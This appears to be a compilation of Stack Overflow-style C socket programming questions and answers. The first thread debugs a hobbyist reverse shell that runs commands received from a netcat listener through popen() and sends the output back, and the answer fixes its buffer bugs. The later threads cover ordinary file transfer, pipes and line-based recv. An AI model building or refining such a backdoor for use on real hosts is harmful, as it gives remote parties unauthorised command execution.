How can I clean up the popen output of my C program? - c

I am rewriting a simple reverse-shell program I made in python, now in C.
The program is supposed to be trying to connect to a host(netcat listening on the specified port) and then take the output from nc, sent over a tcp socket, and make a system call using popen() and then send back the terminal output via the socket connection to nc where it is displayed.
When I try sending commands the program returns what I requested, but also some giberish.
Ex.:
/Users/jacob/Library/Developer/Xcode/DerivedData/backdoorfbhufkccmceisqaozrfitkmfsvge/Build/Products/Debu#Ԓ`? ??????0d?r?
(Output from nc in terminal, this was a 'pwd' command)
I also seem to have some kind of problem where a buffer isn't cleared? When I use the 'say' command(say [sentence] ) MacOS is supposed to use voice the sentence. This happens, but only the 2 first letters of the argument after 'say'(the 2 first characters of the sentence) and then says an earlier string. ('Successfully connected!')
Ex.: (command: 'say hello')
heSuccessfully connected!
I have tried to open the FILE stream in different places and
Code (after socket setup and connection):
const char conMsg[25] = "Successfully connected!\n";
send(netSock, conMsg, sizeof(conMsg), 0);
printf("Sent message...\n");
// variable setup
char command[] = "clear";
char buffer[256];
const char INPUTFIELD[3] = "\n> ";
// requests loop
while (1) {
send(netSock, INPUTFIELD, sizeof(INPUTFIELD), 0);
// recv command
recv(netSock, &command, sizeof(command), 0);
printf("recived command...\n");
printf(command);
// exit check
if ( strncmp(command, ":exit", 5) == 0) {
close(netSock);
exit(0);
} else {
// stream init
FILE *in;
in = popen(command, "r");
// popen output, send to host
while ( fgets(buffer, sizeof(buffer), in) != NULL) {
send(netSock, buffer, sizeof(buffer), 0);
}
pclose(in);
}
}
return 0;
How I use the program:
nc -l [specified port] (MAC or Linux terminal command(maybe Windows aswell))
Start binary (should not matter as I plan to have it try to connect, but that functonality is lacking as of now)

// recv command
recv(netSock, &command, sizeof(command), 0);
printf("recived command...\n");
printf(command);
You ignore the return value of recv, so none of your other code has any idea how many bytes of data you received. Also, you pass command to printf. This has two problems:
What if you didn't receive a zero byte? You could run right off the end of the buffer.
What if the received data includes a %s or other string that is special to printf?

I think your main issue is here:
// popen output, send to host
while ( fgets(buffer, sizeof(buffer), in) != NULL) {
send(netSock, buffer, sizeof(buffer), 0);
}
fgets will read just to an end of line (including the end of line character) and then null terminate. Unless a line exceeds the buffer size, it won't fill the buffer completely. Your send call is sending the entire buffer regardless, including any uninitialized gibberish that may be past what fgets read. This might work better:
// popen output, send to host
while ( fgets(buffer, sizeof(buffer), in) != NULL) {
send(netSock, buffer, strlen(buffer), 0);
}

Related

How to send file and filename through socket in C?

I am trying to send a file and its name through a socket in C.
The relevant server code is:
char file[18];
memset(file, 0, 18);
file[17] = '\0';
int recvd = recv(newsock, file, 16, 0);
char local_file_path[200];
memset(local_file_path, 0, 200);
if(recvd == -1 || recv == 0) {
fprintf(stderr, "File name not received");
continue;
}
strcat(local_file_path, "/home/ubuntu/results/");
strcat(local_file_path, file);
FILE* fp = fopen(local_file_path, "wb");
char buffer[4096];
while(1)
{
recvd = recv(newsock, buffer, 4096, 0);
fwrite(buffer, sizeof(char), recvd, fp);
if(recvd == -1 || recvd == 0) {
fclose(fp);
break;
}
}
close(newsock);
}
close(servSock);
The relevant client code is:
char* my_16_long_fname = "filename1234.txt"
int ret = send(sock, my_16_long_file_fname, strlen(my_16_long_fname), 0)
This code, however, has been creating lots of undefined behaviour such as:
1.Receiving garbage filenames filled with garbage
2.Receiving empty files (so a name with nothing inside - could be some other bug but possibly due to this)
I have thought about a few solutions:
1.Diferentiate file types by signature/header and generate a file name on the server side. Besides this being a cheap solution which doesn't teach me how to actually solve the problem, it doesn't work with the logic i'm using, where sometimes I send error codes instead of file names after opening the socket.
2.Iterate over the recv'd buffer on the first call to recv until I encounter a '\0' character. Then write the remainder of the buffer as binary data and keep on receiving data as usual.
Is this the most efficient/simplest and solid solution to this issue, which will prevent any undefined behaviour?
There is no way your current code could possibly work. If the filename is always one character, your code can read too many characters. If your filename is always the same number of characters but more than one character, your code can read too few characters. If the filename is a variable number of characters, your code could read a smaller number than was sent.
So there is no sending protocol for which this could be valid receiving code.
Until you are an expert on writing networking code, always follow these two steps:
Document the protocol.
How many bytes does the filename occupy? Is it a fixed number or a variable number? Is it always followed by a zero byte?
Implement the protocol.
For example, your code reads up to 16 bytes for the filename. But it never checks if it received the whole file name. What if it only received a single byte?

Redirecting stdout of a process

I am writing a toy version of SSH in C, so I need to redirect stdin, stdout and stderr of the server shell to the client shell (by using pipes and sockets). Right now I have redirected only stdout. If I send commands like ls, netstat, etc there are no problems, the client receives the right output.
But if I write a C program wich, for example, asks for an int n and prints the numbers between 1 and n, and call it through the client I get this behavior: the client doesn't receive the string with the request of n, but if I tape n on the server shell the client receives the request string and the numbers.
I have tried the same thing leaving stdout on the server shell and in this case it works correctly. I have tried to use fflush, fsync and setvbuf without solve it.
Another strange behavior is: if I call through the client the program httrack without redirecting stdout, the server shell shows the normal wizard wich asks for project name, url, etc.
But If I redirect stdout the client doesn't receive the wizard output, instead it receives the httrack help page.
This is the code that performs redirection. As you can see I used both system and execlp call, but the behavior is the same.
pipe(pipefd);
if(fork() > 0)
{
close(pipefd[1]);
*_result = fdopen(pipefd[0], "r");
return 0;
}
else
{
close(pipefd[0]);
close(1);
dup(pipefd[1]);
system(buf);
//execlp(buf, buf, NULL);
exit(0);
}
EDIT:
After this I call this function that reads the stream associated to the read end of the pipe and puts it on the socket. The other parameters are used by AES and log file.
sock_send encrypt the buffer and write it to the socket through sock_write. sock_write(_wsock, NULL, 0) only signals the end of the output. Anyway as I have pointed out before, the output of commands like ls etc. is ok.
void write_result(int _wsock, aes_context *_enc_ctx, unsigned char *_iv, FILE *_result, char *_ip_addr)
{
unsigned char buf[BUF_SIZE];
char lstr[MAX_LOG_LEN];
while(fgets(buf, BUF_SIZE * sizeof(char), _result) != NULL)
{
//li scrivo sulla socket
if(sock_send(_wsock, _enc_ctx, buf, strlen(buf) + 1, _iv) == -1)
{
sprintf(lstr, WRITE_SOCK_ERR, _ip_addr);
log_str(lstr);
close_connection(_wsock, _ip_addr);
}
}
sock_write(_wsock, NULL, 0);
fclose(_result);
}

Segmentation fault on sending text from file from server to client

I'm currently still programming a simple client-server application in C via Ubuntu. So far my login function seems to have worked well (enter some text in client, grab text from a file in server and verify), but this particular display option is giving me trouble.
Some snippets of the server-side code (I grabbed the file copy to buffer function below from another site):
char bflag[1]; //mainmenu option recveived from client
char buffer[BUFSIZE+1]; //BUFSIZE is 1024
long lSize;
size_t result;
FILE * userf;
userf = fopen("Books.txt", "r+b");
recv(new_sockfd, bflag, BUFSIZE, 0); //receive flag from clientside
if ( (strncmp (bflag, "a", 1)) == 0) //display flag received
{
fseek (userf , 0 , SEEK_END);
lSize = ftell (userf);
rewind (userf);
// copy the file into the buffer:
result = fread (buffer,1,lSize,userf);
send(new_sockfd, buffer, BUFSIZE, 0);
}
fclose(userf);
And on the client side, utilizing a switch for the various options:
char bbuf[BUFSIZE+1]; //BUFSIZE is 1024
switch (mmenuc)
{
case 1:
{
strcpy (mmenuf, "a");
send (sockfd, mmenuf, BUFSIZE,0);//send flag 'a' to server
system("clear");
printf("Listing of books available:\n");
printf("O = Available X = Unavailable\n");
printf("\n");
recv (sockfd, bbuf, BUFSIZE,0);
printf ("%s", bbuf);
printf("\n");
getchar(); //eats the "\n"
getchar(); //to pause
break;
}
The problem that I am facing now is that the all the text in the file is retrieved and appears on the client side terminal fine, but on the server side terminal it gives a Segmentation Fault.
I assume there's a buffer overflow somewhere, but I'm not sure what's causing it.
Also, the Books.txt file is padded with spaces for an editing function later.
The server probably stores something like "a< cr >< lf >" in the buffer "Bflag". Not good. Should cause an error, but does not always cause one immediately.
You do not need to figure out the size of your file before you do the read:
Just issue: result = fread (buffer,1,BUFSIZE,userf);
Now, if your file ends up being larger than the buffer, your program won't crash but just not read all the file. You can change your working program later on to handle the case that the file is larger than one buffer. Use "result" (if it is larger than zero) for the number of bytes-to-write to the client.
If your file is (more than a few bytes) larger than BUFSIZE, it will probably cause a "segmentation fault" on exit of the function you provided in the first codeblock. I think that's where your segmentation fault comes from.

String compare error in transmission over TCP

I have written a program in c to send a file line by line to a server from a client in c. After the file is transmitted completely, I have provided a line endoffile in the txt file to string compare in the server to identify that the file is over and the next file is being transmitted next. The next file has to be written to another file in the server. But the problem is that the strcmp is never detecting the endoffile in the code and endoffile recieved from the file in client as equal strings amd continues to write the next file from the client to the same file in server.
char enof[]="endoffile";
...
do
{
rewind(appcrt);
bytes_recieved = recv(pass_arg.connected, recv_data_c, strlen(recv_data_c), 0);
recv_data_c[bytes_recieved-1] = '\0';
fputs(recv_data_c, appcrt);
if(strcmp(enof,recv_data_c) == 0){break;}
}while(check<count);
The text file:
Necessary data
that is
being transmitted
to be written to the file
endoffile
The code used for reading from the txt file and sending to the server:
while (fgets(line, sizeof(line), crt) != NULL)
{
send(sock, line, sizeof(line), 0);
}
What change I have to make in the condition so that the problem is resolved and the code exits from the do....while(); loop. Thanks in advance.
Operating platform: Linux
Edit1: Edited the do....while() as follows:
do
{
rewind(appcrt);
bytes_recieved = recv(pass_arg.connected, recv_data_c, 100, 0);
recv_data_c[bytes_recieved] = '\0';
fputs(recv_data_c, appcrt);
printf("%s-%s",enof,recv_data_c);
//if(strcmp(enof,recv_data_c) == 0){break;}
}while(check<count);
Got the following output in terminal:
endoffile-file1line1
endoffile-file1line2
endoffile-file1line3
endoffile-file1line4
endoffile-file1line5
endoffile-file1line6
endoffile-endoffile
endoffile-file2line1
endoffile-file2line2
endoffile-file2line3
endoffile-file2line4
endoffile-file2line5
endoffile-file2line6
.
.
.
Still no hope.
Even though the client is writing a line at a time to the socket this is not how the server will consume it as data transferred over a socket is just a stream of bytes. The server must read up to the next new line character and then compare. A simple algorithm would read a byte at a time and check if it is the newline character and if is not then append it to a string until a newline character is read:
/* Read next line. */
memset(line, 0, sizeof(line));
size_t line_len = 0;
while (line_len < sizeof(line) - 1 &&
1 == recv(pass_arg.connected, &line[line_len], 1, 0))
{
if ('\n' == line[line_len]) break;
line_len++;
}
Apart from that, there are several problems with the code:
you need to send what was read from the file as it may be less than the sizeof(line). Change:
send(sock, line, sizeof(line), 0);
to:
send(sock, line, strlen(line), 0);
and also check the return value of send() to determine if it was successful.
the following is incorrect as it would only read at a maximum what was previously read (or if was initialised to an empty string nothing would be read):
bytes_recieved = recv(pass_arg.connected,
recv_data_c, strlen(recv_data_c), 0);
and, again, check the return value especially as the return value is being used to index an array. If recv() fails it returns -1, which will result in out of bounds access on the array causing undefined behaviour.
while (fgets(line, sizeof(line), crt) != NULL)
{
send(sock, line, sizeof(line), 0);
}
Don't forget that fgets() may only read one byte, if the line is blank. Thus your send() call is sending a lot of uninitialized data every call -- either contents of previous lines or random memory free()d by your application earlier.
Thus, your receiving program would need to compare against:
endoffiletten to the file
to finally see the final string. (Assuming that the line buffer started out full of ASCII NUL characters.)

c recv() read until newline occurs

I'm working on writing a IRC bot in C, and have ran into a snag.
In my main function, I create my socket and connect, all that happy stuff. Then I have a (almost) infinite loop to read what's being sent back from the server. I then pass what's read off to a helper function, processLine(char *line) - the problem is, that the following code reads until my buffer is full - I want it to only read text until a newline (\n) or carriage return (\r) occurs (thus ending that line)
while (buffer[0] && buffer[1]) {
for (i=0;i<BUFSIZE;i++) buffer[i]='\0';
if (recv(sock, buffer, BUFSIZE, 0) == SOCKET_ERROR)
processError();
processLine(buffer);
}
What ends up happening is that many lines get jammed all together, and I can't process the lines properly when that happens.
If you're not familiar with IRC protocols, a brief summary would be that when a message is sent, it often looks like this: :YourNickName!YourIdent#YourHostName PRIVMSG #someChannel :The rest on from here is the message sent...
and a login notice, for instance, is something like this: :the.hostname.of.the.server ### bla some text bla with ### being a code(?) used for processing - i.e. 372 is an indicator that the following text is part of the Message Of The Day.
When it's all jammed together, I can't read what number is for what line because I can't find where a line begins or ends!
I'd appreciate help with this very much!
P.S.: This is being compiled/ran on linux, but I eventually want to port it to windows, so I am making as much of it as I can multi-platform.
P.S.S.: Here's my processLine() code:
void processLine(const char *line) {
char *buffer, *words[MAX_WORDS], *aPtr;
char response[100];
int count = 0, i;
buffer = strdup(line);
printf("BLA %s", line);
while((aPtr = strsep(&buffer, " ")) && count < MAX_WORDS)
words[count++] = aPtr;
printf("DEBUG %s\n", words[1]);
if (strcmp(words[0], "PING") == 0) {
strcpy(response, "PONG ");
strcat(response, words[1]);
sendLine(NULL, response); /* This is a custom function, basically it's a send ALL function */
} else if (strcmp(words[1], "376") == 0) { /* We got logged in, send login responses (i.e. channel joins) */
sendLine(NULL, "JOIN #cbot");
}
}
The usual way to deal with this is to recv into a persistent buffer in your application, then pull a single line out and process it. Later you can process the remaining lines in the buffer before calling recv again. Keep in mind that the last line in the buffer may only be partially received; you have to deal with this case by re-entering recv to finish the line.
Here's an example (totally untested! also looks for a \n, not \r\n):
#define BUFFER_SIZE 1024
char inbuf[BUFFER_SIZE];
size_t inbuf_used = 0;
/* Final \n is replaced with \0 before calling process_line */
void process_line(char *lineptr);
void input_pump(int fd) {
size_t inbuf_remain = sizeof(inbuf) - inbuf_used;
if (inbuf_remain == 0) {
fprintf(stderr, "Line exceeded buffer length!\n");
abort();
}
ssize_t rv = recv(fd, (void*)&inbuf[inbuf_used], inbuf_remain, MSG_DONTWAIT);
if (rv == 0) {
fprintf(stderr, "Connection closed.\n");
abort();
}
if (rv < 0 && errno == EAGAIN) {
/* no data for now, call back when the socket is readable */
return;
}
if (rv < 0) {
perror("Connection error");
abort();
}
inbuf_used += rv;
/* Scan for newlines in the line buffer; we're careful here to deal with embedded \0s
* an evil server may send, as well as only processing lines that are complete.
*/
char *line_start = inbuf;
char *line_end;
while ( (line_end = (char*)memchr((void*)line_start, '\n', inbuf_used - (line_start - inbuf))))
{
*line_end = 0;
process_line(line_start);
line_start = line_end + 1;
}
/* Shift buffer down so the unprocessed data is at the start */
inbuf_used -= (line_start - inbuf);
memmove(innbuf, line_start, inbuf_used);
}
TCP doesn't offer any sequencing of that sort. As #bdonlan already said you should implement something like:
Continuously recv from the socket into a buffer
On each recv, check if the bytes received contain an \n
If an \n use everything up to that point from the buffer (and clear it)
I don't have a good feeling about this (I read somewhere that you shouldn't mix low-level I/O with stdio I/O) but you might be able to use fdopen.
All you would need to do is
use fdopen(3) to associate your socket with a FILE *
use setvbuf to tell stdio that you want it line-buffered (_IOLBF) as opposed to the default block-buffered.
At this point you should have effectively moved the work from your hands to stdio. Then you could go on using fgets and the like on the FILE *.

Resources